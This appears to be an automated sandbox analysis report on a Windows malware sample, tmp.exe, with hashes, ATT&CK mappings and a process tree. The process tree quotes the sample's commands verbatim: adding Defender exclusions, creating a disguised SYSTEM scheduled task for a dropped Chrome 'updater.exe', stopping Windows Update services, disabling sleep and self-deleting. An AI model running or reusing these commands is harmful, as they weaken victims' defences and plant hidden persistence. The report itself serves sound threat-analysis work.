656d8f62def258e808aa521a7a29ee10363e80f1df24435d54e76986b77a2039

Analysis

max time kernel
34s
max time network
76s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2023 16:28

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General

Target

tmp.exe
Size

5.6MB
MD5

3220acfff168d5e036b68da6d87e6ca7
SHA1

b1dffff6b88949b27711e6e488ba297e34fa2a47
SHA256

656d8f62def258e808aa521a7a29ee10363e80f1df24435d54e76986b77a2039
SHA512

1bc7ab23e65cbf7bfd96b6784a72be17dac97f6834978f44a5b9e37646e297721c5b7b709b40a963c98a46d8beffce0bec6c730d714a7956531608db0f9f665d
SSDEEP

98304:OpZQty0tThU51E8Rn9lI19gf2Y/TkbiR41JYhdX+XpwSkwW6ZCr71N+:OAP2//V9lILQR4khdX+Xtkw38b+

Score

10^/10

evasion

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

description	pid	Process	procid_target
PID 5092 created 3160	5092	tmp.exe	42
PID 5092 created 3160	5092	tmp.exe	42
PID 5092 created 3160	5092	tmp.exe	42
PID 5092 created 3160	5092	tmp.exe	42
PID 5092 created 3160	5092	tmp.exe	42
PID 1728 created 3160	1728	updater.exe	42

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	tmp.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 1 IoCs

pid	Process
1728	updater.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	tmp.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
512	sc.exe
4620	sc.exe
4628	sc.exe
1636	sc.exe
2208	sc.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
5092	tmp.exe
5092	tmp.exe
2748	powershell.exe
2748	powershell.exe
5092	tmp.exe
5092	tmp.exe
5092	tmp.exe
5092	tmp.exe
5092	tmp.exe
5092	tmp.exe
5092	tmp.exe
1036	powershell.exe
1036	powershell.exe
5092	tmp.exe
5092	tmp.exe
5092	tmp.exe
5092	tmp.exe
1728	updater.exe
1728	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeShutdownPrivilege	4368	powercfg.exe
Token: SeCreatePagefilePrivilege	4368	powercfg.exe
Token: SeShutdownPrivilege	424	powercfg.exe
Token: SeCreatePagefilePrivilege	424	powercfg.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeShutdownPrivilege	4820	powercfg.exe
Token: SeCreatePagefilePrivilege	4820	powercfg.exe
Token: SeShutdownPrivilege	2336	powercfg.exe
Token: SeCreatePagefilePrivilege	2336	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1036	powershell.exe
Token: SeSecurityPrivilege	1036	powershell.exe
Token: SeTakeOwnershipPrivilege	1036	powershell.exe
Token: SeLoadDriverPrivilege	1036	powershell.exe
Token: SeSystemProfilePrivilege	1036	powershell.exe
Token: SeSystemtimePrivilege	1036	powershell.exe
Token: SeProfSingleProcessPrivilege	1036	powershell.exe
Token: SeIncBasePriorityPrivilege	1036	powershell.exe
Token: SeCreatePagefilePrivilege	1036	powershell.exe
Token: SeBackupPrivilege	1036	powershell.exe
Token: SeRestorePrivilege	1036	powershell.exe
Token: SeShutdownPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeSystemEnvironmentPrivilege	1036	powershell.exe
Token: SeRemoteShutdownPrivilege	1036	powershell.exe
Token: SeUndockPrivilege	1036	powershell.exe
Token: SeManageVolumePrivilege	1036	powershell.exe
Token: 33	1036	powershell.exe
Token: 34	1036	powershell.exe
Token: 35	1036	powershell.exe
Token: 36	1036	powershell.exe
Token: SeIncreaseQuotaPrivilege	1036	powershell.exe
Token: SeSecurityPrivilege	1036	powershell.exe
Token: SeTakeOwnershipPrivilege	1036	powershell.exe
Token: SeLoadDriverPrivilege	1036	powershell.exe
Token: SeSystemProfilePrivilege	1036	powershell.exe
Token: SeSystemtimePrivilege	1036	powershell.exe
Token: SeProfSingleProcessPrivilege	1036	powershell.exe
Token: SeIncBasePriorityPrivilege	1036	powershell.exe
Token: SeCreatePagefilePrivilege	1036	powershell.exe
Token: SeBackupPrivilege	1036	powershell.exe
Token: SeRestorePrivilege	1036	powershell.exe
Token: SeShutdownPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeSystemEnvironmentPrivilege	1036	powershell.exe
Token: SeRemoteShutdownPrivilege	1036	powershell.exe
Token: SeUndockPrivilege	1036	powershell.exe
Token: SeManageVolumePrivilege	1036	powershell.exe
Token: 33	1036	powershell.exe
Token: 34	1036	powershell.exe
Token: 35	1036	powershell.exe
Token: 36	1036	powershell.exe
Token: SeIncreaseQuotaPrivilege	1036	powershell.exe
Token: SeSecurityPrivilege	1036	powershell.exe
Token: SeTakeOwnershipPrivilege	1036	powershell.exe
Token: SeLoadDriverPrivilege	1036	powershell.exe
Token: SeSystemProfilePrivilege	1036	powershell.exe
Token: SeSystemtimePrivilege	1036	powershell.exe
Token: SeProfSingleProcessPrivilege	1036	powershell.exe
Token: SeIncBasePriorityPrivilege	1036	powershell.exe
Token: SeCreatePagefilePrivilege	1036	powershell.exe
Token: SeBackupPrivilege	1036	powershell.exe
Token: SeRestorePrivilege	1036	powershell.exe
Token: SeShutdownPrivilege	1036	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 244 wrote to memory of 512	244	cmd.exe	91
PID 244 wrote to memory of 512	244	cmd.exe	91
PID 244 wrote to memory of 4620	244	cmd.exe	92
PID 244 wrote to memory of 4620	244	cmd.exe	92
PID 244 wrote to memory of 4628	244	cmd.exe	93
PID 244 wrote to memory of 4628	244	cmd.exe	93
PID 244 wrote to memory of 1636	244	cmd.exe	94
PID 244 wrote to memory of 1636	244	cmd.exe	94
PID 244 wrote to memory of 2208	244	cmd.exe	95
PID 244 wrote to memory of 2208	244	cmd.exe	95
PID 3448 wrote to memory of 4368	3448	cmd.exe	100
PID 3448 wrote to memory of 4368	3448	cmd.exe	100
PID 3448 wrote to memory of 424	3448	cmd.exe	101
PID 3448 wrote to memory of 424	3448	cmd.exe	101
PID 3448 wrote to memory of 4820	3448	cmd.exe	102
PID 3448 wrote to memory of 4820	3448	cmd.exe	102
PID 3448 wrote to memory of 2336	3448	cmd.exe	103
PID 3448 wrote to memory of 2336	3448	cmd.exe	103
PID 1544 wrote to memory of 4844	1544	cmd.exe	108
PID 1544 wrote to memory of 4844	1544	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3160
- C:\Users\Admin\AppData\Local\Temp\tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#risbldqyp#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:244
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:512
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4620
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4628
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1636
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2208
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4368
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:424
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4820
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2336
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2888
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:60

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
5.6MB

MD5
3220acfff168d5e036b68da6d87e6ca7

SHA1
b1dffff6b88949b27711e6e488ba297e34fa2a47

SHA256
656d8f62def258e808aa521a7a29ee10363e80f1df24435d54e76986b77a2039

SHA512
1bc7ab23e65cbf7bfd96b6784a72be17dac97f6834978f44a5b9e37646e297721c5b7b709b40a963c98a46d8beffce0bec6c730d714a7956531608db0f9f665d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_indr0e25.ltr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1036-162-0x000001A1E6E10000-0x000001A1E6E20000-memory.dmp

Filesize
64KB

Download
memory/1036-160-0x000001A1E6E10000-0x000001A1E6E20000-memory.dmp

Filesize
64KB

Download
memory/1036-161-0x000001A1E6E10000-0x000001A1E6E20000-memory.dmp

Filesize
64KB

Download
memory/1036-163-0x000001A1E6E10000-0x000001A1E6E20000-memory.dmp

Filesize
64KB

Download
memory/1728-168-0x00007FF667EE0000-0x00007FF668481000-memory.dmp

Filesize
5.6MB

Download
memory/2748-145-0x000002EFBA570000-0x000002EFBA580000-memory.dmp

Filesize
64KB

Download
memory/2748-144-0x000002EFBA570000-0x000002EFBA580000-memory.dmp

Filesize
64KB

Download
memory/2748-134-0x000002EFA1F10000-0x000002EFA1F32000-memory.dmp

Filesize
136KB

Download
memory/5092-133-0x00007FF6DE330000-0x00007FF6DE8D1000-memory.dmp

Filesize
5.6MB

Download
memory/5092-166-0x00007FF6DE330000-0x00007FF6DE8D1000-memory.dmp

Filesize
5.6MB

Download